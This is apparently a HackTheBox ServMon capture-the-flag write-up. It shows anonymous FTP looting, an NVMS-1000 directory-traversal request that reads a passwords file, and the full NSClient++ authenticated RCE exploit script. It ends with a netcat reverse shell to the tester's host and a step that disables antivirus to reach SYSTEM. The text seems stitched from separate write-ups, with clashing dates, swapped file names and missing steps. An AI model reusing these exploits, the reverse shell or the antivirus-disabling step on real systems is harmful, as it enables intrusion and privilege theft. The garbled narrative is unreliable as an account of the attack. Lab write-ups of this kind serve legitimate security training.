nmap shows 19 open ports, including a lot of standard Windows stuff, and SSH Scanning through the list, my top tier of things to check out will be FTP (TCP 21) with anonymous login allowed, SMB (TCP 445), HTTP (TCP 80) and HTTPS (TCP 8443). LDAP (TCP 389) could be a good place to check as well. WinRM (TCP 5985) and SSH (22) will come in handy if I get creds.
The TLS certificate only gives the name localhost, so no sign of using domain names for different pages.
Enumeration: FTP Port 21/tcp
Since nmap identified that anonymous FTP was permitted, I’ll grab all of the files there with wget -r ftp://anonymous:@10.10.10.184 (this would be not a great idea on a real server where I’d be tons of stuff, but works well for a CTF like HTB). There were two files:
┌──(kali💀kali)-[~]
└─$ ftp anonymous@10.10.10.184
Connected to 10.10.10.184.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
┌──(kali💀kali)-[~/Desktop]
└─$ wget -r ftp://anonymous:@10.10.10.184
--2024-01-13 19:54:35-- ftp://anonymous:*password*@10.10.10.184/
=> ‘10.10.10.184/.listing’
Connecting to 10.10.10.184:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD not needed.
==> PASV ... done. ==> LIST ... done.
┌──(kali💀kali)-[~/Desktop/10.10.10.184/Users/Nathan]
└─$ cat Notes\ to\ do.txt
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
┌──(kali💀kali)-[~/Desktop/10.10.10.184/Users/Nadine]
└─$ cat Confidential.txt
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.
Regards
Nadine
We have a passwords.txt file on Nathan's desktop, let’s keep this for future, might come in handy.
Enumeration: SMB Port 445/tcp
Without credentials, it appears that I cannot connect to SMB:
┌──(kali💀kali)-[~]
└─$ rpcclient 10.10.10.184 -U ""
Password for [WORKGROUP\]:
Cannot connect to server. Error was NT_STATUS_LOGON_FAILURE
┌──(kali💀kali)-[~]
└─$ enum4linux -a 10.10.10.184
[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
Enumeration: HTTP Port 80/tcp- NVMS 1000
On manually visiting http://10.10.10.184 , we are greeted with a NVMS 1000 login page. Default credentials admin : 123456 do not work. Here is the user manual for NVMS-1000:
┌──(kali💀kali)-[~]
└─$ gobuster dir -u http://10.10.10.184 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt
Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.184/40a9cd65-ca25-493e-aa30-bc637aa59863 => 200 (Length: 118). To continue please exclude the status code or the length
gobuster reports that there is a 200 return code for even random urls I tested by visiting /exodus (a path that won’t exist), and could see in Burp the response was a 200:
┌──(kali💀kali)-[~]
└─$ nikto -h http://10.10.10.184
+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Uncommon header 'authinfo' found, with contents: .
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /reports/rwservlet?server=repserv+report=/tmp/hacker.rdf+destype=cache+desformat=PDF: Oracle Reports rwservlet report Variable Arbitrary Report Executable Execution. See: https://www.exploit-db.com/exploits/26006
Vulnerabilities:
On searching for possible exploits for NVMS-1000 , we have a Directory traversal and with the knowledge of passwords.txt file on Nathan’s Desktop, this directory traversal can be really useful. searchsploit shows a directory traversal vulnerability in this application:
┌──(kali💀kali)-[~/Desktop]
└─$ cat 47774.txt
# Title: NVMS-1000 - Directory Traversal
# Date: 2019-12-12
# Author: Numan Türle
# Vendor Homepage: http://en.tvt.net.cn/
# Version : N/A
# Software Link : http://en.tvt.net.cn/products/188.html
POC
---------
GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 12.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Response
---------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
In reading that text file, it basically says I can request /../../../../../../../../../../../../windows/win.ini and get it. I’ll kick a request over to Burp Repeater, and it works:
GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 10.10.10.184
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
HTTP/1.1 200 OK
Content-type:
Content-Length: 92
Connection: close
AuthInfo:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Certificate:
There’s a TLS server on 8443. Normally with a cert I’d get a hostname and potentially look for vhosts, but this certificate is just for localhost.
Site: NSClient++
The site is an instance of NSClient++, an agent designed to do monitoring: It seems pretty broken here. Visiting in Cromium (instead of Firefox) does give a log in (some of the time): Getting this website to work was quite frustrating. Like I said above, I had much better success in Chromium than I did in Firefox, but even then, it was not stable.
Vulnerabilities:
There is a known vulnerability in NSClient++ 0.5.2.35:
┌──(kali💀kali)-[~/Desktop]
└─$ cat 48360.txt
# Exploit Title: NSClient++ 0.5.2.35 - Authenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-04-20
# Exploit Author: kindredsec
# Vendor Homepage: https://nsclient.org/
# Software Link: https://nsclient.org/download/
# Version: 0.5.2.35
# Tested on: Microsoft Windows 10 Pro (x64)
# CVE: N/A
#
# NSClient++ is a monitoring agent that has the option to run external scripts.
# This feature can allow an attacker, given they have credentials, the ability to execute
# arbitrary code via the NSClient++ web application. Since it runs as NT Authority/System bt
# Default, this leads to privileged code execution.
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup as bs
import urllib3
import json
import sys
import random
import string
import time
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def generateName():
letters = string.ascii_lowercase + string.ascii_uppercase
return ''.join(random.choice(letters) for i in range(random.randint(8,13)))
def printStatus(message, msg_type):
C_YELLOW = '\033[1;33m'
C_RESET = '\033[0m'
C_GREEN = '\033[1;32m'
C_RED = '\033[1;31m'
if msg_type == "good":
green_plus = C_GREEN + "[+]" + C_RESET
string = green_plus + " " + message
elif msg_type == "info":
yellow_ex = C_YELLOW + "[!]" + C_RESET
string = yellow_ex + " " + message
elif msg_type == "bad":
red_minus = C_RED + "[-]" + C_RESET
string = red_minus + " " + message
print(string)
# This function adds a new external script containing the desired
# command, then saves the configuration
def configurePayload(session, cmd, key):
printStatus("Configuring Script with Specified Payload . . .", "info")
endpoint = "/settings/query.json"
node = { "path" : "/settings/external scripts/scripts",
"key" : key }
value = { "string_data" : cmd }
update = { "node" : node , "value" : value }
payload = [ { "plugin_id" : "1234",
"update" : update } ]
json_data = { "type" : "SettingsRequestMessage", "payload" : payload }
out = session.post(url = base_url + endpoint, json=json_data, verify=False)
if "STATUS_OK" not in str(out.content):
printStatus("Error configuring payload. Hit error at: " + endpoint, "bad")
sys.exit(1)
printStatus("Added External Script (name: " + key + ")", "good")
time.sleep(3)
printStatus("Saving Configuration . . .", "info")
header = { "version" : "1" }
payload = [ { "plugin_id" : "1234", "control" : { "command" : "SAVE" }} ]
json_data = { "header" : header, "type" : "SettingsRequestMessage", "payload" : payload }
session.post(url = base_url + endpoint, json=json_data, verify=False)
# Since the application needs to be restarted after making changes,
# this function reloads the application, and waits for it to come back.
def reloadConfig(session):
printStatus("Reloading Application . . .", "info")
endpoint = "/core/reload"
session.get(url = base_url + endpoint, verify=False)
# Wait until the application successfully reloads by making a request
# every 10 seconds until it responds.
printStatus("Waiting for Application to reload . . .", "info")
time.sleep(10)
response = False
count = 0
while not response:
try:
out = session.get(url = base_url, verify=False, timeout=10)
if len(out.content) > 0:
response = True
except:
count += 1
if count > 10:
printStatus("Application failed to reload. Nice DoS exploit! /s", "bad")
sys.exit(1)
else:
continue
# This function makes the call to the new external script to
# ultimately execute the code.
def triggerPayload(session, key):
printStatus("Triggering payload, should execute shortly . . .", "info")
endpoint = "/query/" + key
try:
session.get(url = base_url + endpoint, verify=False, timeout=10)
except requests.exceptions.ReadTimeout:
printStatus("Timeout exceeded. Assuming your payload executed . . .", "info")
sys.exit(0)
# Before setting up the exploit, this function makes sure the
# required feature (External Scripts) is enabled on the application.
def enableFeature(session):
printStatus("Enabling External Scripts Module . . .", "info")
endpoint = "/registry/control/module/load"
params = { "name" : "CheckExternalScripts" }
out = session.get(url = base_url + endpoint, params=params, verify=False)
if "STATUS_OK" not in str(out.content):
printStatus("Error enabling required feature. Hit error at: " + endpoint, "bad")
sys.exit(1)
# This function obtains an authentication token that gets added to all
# remaining headers.
def getAuthToken(session):
printStatus("Obtaining Authentication Token . . .", "info")
endpoint = "/auth/token"
params = { "password" : password }
auth = session.get(url = base_url + endpoint, params=params, verify=False)
if "auth token" in str(auth.content):
j = json.loads(auth.content)
authToken = j["auth token"]
printStatus("Got auth token: " + authToken, "good")
return authToken
else:
printStatus("Error obtaining auth token, is your password correct? Hit error at: " + endpoint, "bad")
sys.exit(1)
parser = argparse.ArgumentParser("NSClient++ 0.5.2.35 Authenticated RCE")
parser.add_argument('-t', nargs='?', metavar='target', help='Target IP Address.')
parser.add_argument('-P', nargs='?', metavar='port', help='Target Port.')
parser.add_argument('-p', nargs='?', metavar='password', help='NSClient++ Administrative Password.')
parser.add_argument('-c', nargs='?', metavar='command', help='Command to execute on target')
args = parser.parse_args()
if len(sys.argv) < 4:
parser.print_help()
sys.exit(1)
# Build base URL, grab needed arguments
base_url = "https://" + args.t + ":" + args.P
printStatus("Targeting base URL " + base_url, "info")
password = args.p
cmd = args.c
# Get first auth token, and add it to headers of session
s = requests.session()
token = getAuthToken(s)
s.headers.update({ "TOKEN" : token})
# Generate a random name, enable the feature, add the payload,
# then reload.
randKey = generateName()
enableFeature(s)
configurePayload(s, cmd, randKey)
reloadConfig(s)
# Since application was reloaded, need a new auth token.
token = getAuthToken(s)
s.headers.update({ "TOKEN" : token})
# Execute our code.
triggerPayload(s, randKey)
It’s a local privesc because with a shell on the box, I can get the admin plaintext password from the config files, and then login and create a job to get a shell. I’ll keep this in mind.
Shell as nadine
Get Passwords:
I know from the FTP note that there is a file with passwords at C:\users\nathan\desktop\passwords.txt. I’ll use the directory traversal vulnerability to try to read that file, and it works:
GET /../../../../../../../../../../../../users/nathan/desktop/passwords.txt HTTP/1.1
Host: 10.10.10.184
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
HTTP/1.1 200 OK
Content-type: text/plain
Content-Length: 156
Connection: close
AuthInfo:
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
Check Passwords:
Since I only have a list of passwords without usernames, I’ll create a list of what I know now:
nadine@SERVMON C:\Program Files\NSClient++> net users
User accounts for \\SERVMON
Administrator DefaultAccount Guest
Nadine Nathan WDAGUtilityAccount
nadine@SERVMON C:\Program Files\NSClient++> whoami /priv
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
nadine@SERVMON C:\Program Files\NSClient++>cmdkey /list
Currently stored credentials:
* NONE *
Find NSClient++ Password:
With a shell, I can get the NSClient++ password. I could do it by reading the .ini file, or just having the helper program tell me:
nadine@SERVMON C:\Users\Nadine> cd C:\Program Files\NSClient++
nadine@SERVMON C:\Program Files\NSClient++> nscp web -- password --display
Current password: ew2x6SsGTxjRwXOT
Setup Tunnel:
If I try to log in from https://10.10.10.184:8443, it blocks me. Towards the top of nsclient.ini, there’s this:
To get execution, the exploit-db write-up was not sure helpful, and the web interface was really frustrating. It was very unstable, and made trouble shooting incredibly difficult.
I was able to get success by taking the following steps based on How To Run Commands in the NSClient documentation. The steps are for directly interacting with the nsclient.ini file, but I eventually got a feel for how to use the web interface to get the same results:
We got the version number and the platform architecture. Let’s now search for a way to exploit this application with public information. With a bit of research we find a RCE and a privilege escalation for this version. Since we are trying to privesc, we go for the latter.
We can follow this exploit steps (https://www.exploit-db.com/exploits/46802). The first step is login (DONE), the second is enable these two modules:
nadine@SERVMON C:\Users\Nadine>powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Nadine>
They both were enabled by default. Third step is to upload the “nc.exe” binary and an “evil.bat” script with this command inside:
@echo off
C:\Temp\nc.exe 10.10.16.4 5555 -e cmd
PS C:\> mkdir Temp
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/14/2024 5:31 AM Temp
PS C:\> cd Temp
┌──(kali💀kali)-[~/Desktop]
└─$ python -m SimpleHTTPServer 5555// Some code
PS C:\Temp> wget http://10.10.16.4:5555/nc64.exe -outfile nc.exe
PS C:\Temp> ls
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/14/2024 5:31 AM 45272 nc.exe
PS C:\Temp> powershell wget http://10.10.16.4:5555/shell.bat -outfile shell.bat
PS C:\Temp> ls
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/14/2024 5:31 AM 45272 nc.exe
-a---- 1/14/2024 5:38 AM 48 shell.bat
There’s also an AV in place, so if we try to run the netcat executable, the reverse shell will not work. We could try some AVs bypasses, but i just decided to remove the real time protection. Since we have not a GUI, we need to do it by the command line using powershell:
This can be runned only from the “NT AUTHORITY\SYSTEM” user. And since the application runs as that user, we can just execute it. Let’s create then another “.bat” file with the command above and upload it to the machine:
So the “evil.bat” is the file that will get us the reverse shell. The “poiint.bat” is the file that will disable real time protection. Now let’s go into the application again → Settings → External Scripts → Scripts → Add New:
And click on “Add”. Then click on “Changes” → “Save Configuration” Then click on “Control” → “Reload”.
Once all of this steps have been done, let’s navigate to Settings -> External Scripts -> Scripts and we should see a label “poiint” This means the script has been loaded correctly. Now navigate to “Queries” -> “poiint”
If we click on the green “Run” button, it will execute our “poiint.bat” file which disables real time protection. Let’s run it. You should see an “OK” feedback. If not, then, backup the “poiint.bat” in another file because we need to rename the “evil.bat” file in “poiint.bat”:
PS C:\Temp> mkdir backup
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/17/2023 4:15 AM backup
PS C:\Temp> move .\poiint.bat .\backup\
PS C:\Temp> ls
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/17/2023 4:15 AM backup
-a---- 12/17/2023 3:59 AM 52 evil.bat
-a---- 12/17/2023 3:58 AM 59392 nc.exe
PS C:\Temp> move .\evil.bat poiint.bat
PS C:\Temp> ls
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/17/2023 4:15 AM backup
-a---- 12/17/2023 3:58 AM 59392 nc.exe
-a---- 12/17/2023 3:59 AM 52 poiint.bat
The new “poiint.bat” is the reverse shell that should be executed as “NT AUTHORITY\SYSTEM”. Remember that we are using the “poiint.bat” file and not the evil because in the NSClient we specified that unique file to be executed. Now start a reverse shell in our kali box:
┌──(kali💀kali)-[~]
└─$ sudo nc -lvnp 5555
[sudo] password for kali:
listening on [any] 5555 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.184] 52863
Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Program Files\NSClient++>whoami
whoami
nt authority\system